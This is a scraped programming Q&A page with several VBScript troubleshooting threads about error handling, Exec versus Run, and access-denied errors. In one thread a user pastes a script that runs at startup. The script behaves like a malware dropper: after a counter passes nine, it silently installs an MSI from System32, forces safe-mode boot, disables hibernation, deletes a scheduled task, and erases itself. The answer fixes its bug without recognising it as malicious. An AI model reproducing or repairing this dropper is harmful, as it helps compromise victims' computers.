How can i run the script without showing me errors - vbscript

Dim oShell : Set oShell = CreateObject("WScript.Shell")
dim filesys
oShell.Run "taskkill /F /IM mysqld.exe", , True
Dim WShell
Set fso = CreateObject("Scripting.FileSystemObject")
file = ("C:\xampp\mysql\bin\mysqld.exe")
fso.DeleteFile file
Set WShell = Nothing
Im getting permission denied running the script with user privileges, what i want is that the script wont display that error even if i get permission denied.

Refer to On Error - statement of language VBScript
If you don't use an On Error Resume Next statement, then any runtime error that occurs is fatal;
i.e. an error message is displayed and the execution stops.
On Error Resume Next causes execution to continue with the statement immediately following the statement that caused the runtime error, or with the statement immediately following the most recent call out of the procedure containing the On Error Resume Next statement.
This allows execution to continue despite a runtime error. You can then build the error-handling routine inline within the procedure.
An On Error Resume Next statement becomes inactive if another procedure is called, so you should execute an On Error Resume Next statement in each called routine if you want inline error handling within that routine.
On Error Resume Next
Dim fso,oShell,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("WScript.Shell")
oShell.Run "Taskkill /F /IM mysqld.exe",0,True
file = "C:\xampp\mysql\bin\mysqld.exe"
If fso.FileExists(file) Then
fso.DeleteFile file
End If
Set oShell = Nothing
Set fso = Nothing

You can add something more in error handling:
Dim oShell
Set oShell = CreateObject("WScript.Shell")
Dim filesys
oShell.Run "taskkill /F /IM mysqld.exe", , True
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = ("C:\xampp\mysql\bin\mysqld.exe")
On Error Resume Next
fso.DeleteFile file
On Error Goto 0
Set fso = Nothing
You can disable error handling any time using On Error Goto 0 statement.
And there is an Err object.
Err.Raise ErrorCode raises an error using an errorcode. Err.Number gives the error code and Err.Description gives the error details.

Related

Windows script Host problem.. error code 800a000D..Type mismatch "Clnt"

Hi I'm windows 10 user with little to zero knowledge about programming. An error came up and windows fail to load... when I my pc opens a dialog box appears.. "Windows script Host"
what is wrong with this code ... the error says it is on line 10 char 2
Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(ccdat)) Then
Set setting = fso.OpenTextFile(ccdat, 1, 0)
cc = CInt(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(ccdat)
objFSO.DeleteFile(strScript)
WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False)
cc = cc+1
setting.Write(cc)
setting.Close
WScript.Quit()
Else
Set setting = fso.CreateTextFile(ccdat, True, False)
setting.Write("0")
setting.Close
WScript.Quit()
End If
Based on your example, it looks like updatesettings.dbf is just a file containing an incremental counter. In fact, the counter value may be larger than MAXINT, which could also cause that error. If true, try changing line 10 from this:
cc = CInt(setting.ReadLine)
To this:
On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0
This should effectively handle the error and force the cc variable to a pre-initialized state, which gets incremented later (line 23) to its original initialization state of zero (0) and saved to the updatesettings.dbf file. Meaning: This should accomplish the same thing as the 'Else' initialization block after line 27 when the updatesettings.dbf file doesn't exist.
Hope this helps.

Issues trying to close a bat file from a vbs script

i'm trying to help my little brother with a vbs script file, i've never used vbs, and i'm having serious issues on finding out how to end a bat file that i've opened with the vbs script after 2 seconds
I've tried terminate but it doesn't work, even running another shell with taskkill and the name of process but nothing
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\\Users\me\Desktop\Samples\t.bat"
Wscript.Sleep 2000`
I would like the bat file to close itself after 2 seconds
Use the Exec command instead of Run.
https://ss64.com/vb/exec.html
"Unlike .Run method, .Exec returns an object which returns additional information about the process started."
This example uses cmd.exe /k (the /k will keep the cmd.exe window open, which will be killed after your 2 second timeout even if your bat script logic finishes before that)
Dim shll : Set shll = CreateObject("WScript.Shell")
Set Rt = shll.Exec("cmd.exe /k C:\Temp\test.bat") : wscript.sleep 2000 :
Rt.Terminate
If you want to return the output of the bat script you will need to read this WScript.Shell.Exec - read output from stdout, and use logic similar to:
Const WshRunning = 0
Const WshFinished = 1
Const WshFailed = 2
strCommand = "C:\Temp\test.bat"
Set WshShell = CreateObject("WScript.Shell")
Set oExec = WshShell.Exec(strCommand)
Do While oExec.Status = 0
WScript.Sleep 1000
If Not oExec.StdErr.AtEndOfStream Then
vErrStr = vErrStr & oExec.StdErr.ReadAll
End If
If Not oExec.StdOut.AtEndOfStream Then
vOutStr = vOutStr & oExec.StdOut.ReadAll
End If
Loop
WScript.StdOut.Write(vErrStr)
WScript.Echo(vOutStr)
It all depends on what your bat file is doing really, and the reason you need to kill it after x seconds.
Edit:
Because your batch file is a continuous loop, it may confuse ReadAll of the output stream. You might be best using something such as (note that you will not see real-time output):
Dim strCommand : strCommand = "C:\Temp\test.bat"
Dim WshShell : Set WshShell = CreateObject("WScript.Shell")
'execute command
Dim oExec : Set oExec = WshShell.Exec(strCommand)
'wait 2 seconds
WScript.Sleep 2000
'terminate command
oExec.terminate
'get output
wscript.echo oExec.StdOut.ReadAll
Set oExec = Nothing
Set WshShell = Nothing

External command not running from VBScript

I'm trying to execute an external program, with some variables when a certain condition is met. As far as I can tell, the command isn't attempting to run. I've tried just using notepad, or just the opcmon command itself, which should generate a usage message.
The only output I get is from the Echo, and that looks formatted properly. E.g.
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
opcmon.exe "TEST-Goober"=151 -object "C:\Tools"
' Script Name: FileCount.vbs
' Purpose: This script will send a message to OM with the number
' of files which exist in a given directory.
' Usage: cscript.exe FileCount.vbs [oMPolicyName] [pathToFiles]
' [oMPolicyName] is the name of the HPOM Policy
' [pathToFiles] is Local or UNC Path
Option Explicit
On Error Resume Next
Dim lstArgs, policy, path, fso, objDir, objFiles, strCommand, hr
Set WshShell = CreateObject("WScript.Shell")
Set lstArgs = WScript.Arguments
If lstArgs.Count = 2 Then
policy = Trim(lstArgs(0))
path = Trim(lstArgs(1))
Else
WScript.Echo "Usage: cscript.exe filecount.vbs [oMPolicyName] [pathToFiles]" &vbCrLf &"[oMPolicyName] HPOM Policy name" & vbCrLf &"[pathToFiles] Local or UNC Path"
WScript.Quit(1)
End If
Set fso = WScript.CreateObject("Scripting.FileSystemObject")
If fso.FolderExists(path) Then
Set objDir = fso.GetFolder(path)
If (IsEmpty(objDir) = True) Then
WScript.Echo "OBJECT NOT INITIALIZED"
WScript.Quit(1)
End If
Set objFiles = objDir.Files
strCommand = "opcmon.exe """ & policy & """=" & objFiles.Count & " -object """ & path & """"
WScript.Echo strCommand
Call WshShell.Run(strCommand, 1, True)
WScript.Quit(0)
Else
WScript.Echo("FOLDER NOT FOUND")
WScript.Quit(1)
End If
First step to any kind of VBScript debugging: remove On Error Resume Next. Or rather, NEVER use On Error Resume Next in the global scope. EVER!
After removing that statement you'll immediately see what's wrong, because you'll get the following error:
script.vbs(6, 1) Microsoft VBScript runtime error: Variable is undefined: 'WshShell'
The Option Explicit statement makes variable declarations mandatory. However, you didn't declare WshShell, so the Set WshShell = ... statement fails, but because you also have On Error Resume Next the error is suppressed and the script continues. When the execution reaches the Call WshShell.Run(...) statement, that too fails (because there's no object to call a Run method from), but again the error is suppressed. That's why you see the Echo output, but not the actual command being executed.
Remove On Error Resume Next and add WshShell to your Dim statement, and the problem will disappear.

CreateTextFile error

I am getting a 'Permission denied' error when trying to run this VBScript after dragging another file or folder icon onto the script's icon.
I have tried running it on two Windows 10 machines and if I run it with arguments if objects at the file creation line, otherwise the scripts completes normally.
Any ideas?
Option Explicit
Dim objFSO
Dim objShell
Dim fldTest
Dim fileTest
Dim strPath
Dim txsOutput
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set txsOutput = objFSO.CreateTextFile("Test.txt")
For Each strPath In WScript.Arguments
fldTest = objFSO.GetFolder(strPath)
For Each fleTest In fldTest.Files
...
Next
Next
txsOutput.Close()
Set txsOutput = Nothing
Set objFSO = Nothing
WScript.Quit

CreateObject("Wscript.Shell") globally does not work

I am trying to make a function that runs commands like this:
Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.GetStandardStream (1)
print runCommand("git --help")
function runCommand(commandStr)
set objShell = CreateObject("Wscript.Shell")
Set objExec = objShell.Exec(commandStr)
Do Until objExec.Status
Wscript.Sleep 10
Loop
runCommand = objExec.StdOut.ReadAll()
end function
sub print(str)
stdout.WriteLine str
end sub
That works fine, but then I want to use the objShell at a higher level, so then I decide to make objShell global:
set objShell = CreateObject("Wscript.Shell")
Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.GetStandardStream (1)
print runCommand(objShell.CurrentDirectory)
print runCommand("git --help")
function runCommand(commandStr)
Set objExec = objShell.Exec(commandStr)
Do Until objExec.Status
Wscript.Sleep 10
Loop
runCommand = objExec.StdOut.ReadAll()
end function
sub print(str)
stdout.WriteLine str
end sub
However, now when I run it I get the error:
WshShell.Exec: Access is denied.
And it references the line set objShell = CreateObject("Wscript.Shell"). If I try to make two different variables objShell and objShell2 I get the same error. How do I resolve this?
I managed to replicate your issue locally I found that the scope of WScript.Shell is not at fault.
Try this and it will most likely work (notice the commented out line);
set objShell = CreateObject("Wscript.Shell")
Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.GetStandardStream (1)
'print runCommand(objShell.CurrentDirectory)
print runCommand("git --help")
function runCommand(commandStr)
Set objExec = objShell.Exec(commandStr)
Do Until objExec.Status
Wscript.Sleep 10
Loop
runCommand = objExec.StdOut.ReadAll()
end function
sub print(str)
stdout.WriteLine str
end sub
The Access Denied error appears to be related to calling objShell.CurrentDirectory.
The issue is you are trying to pass the current directory to objShell.Exec() and it doesn't know how to execute it (after all it's not an application).
Here is an example in it's simplest form;
CreateObject("Wscript.Shell").Exec("C:\")
Output:
WshShell.Exec: Access is denied.
If you just wanted to output the current directory using your script you probably wanted to use
print objShell.CurrentDirectory
instead.

Resources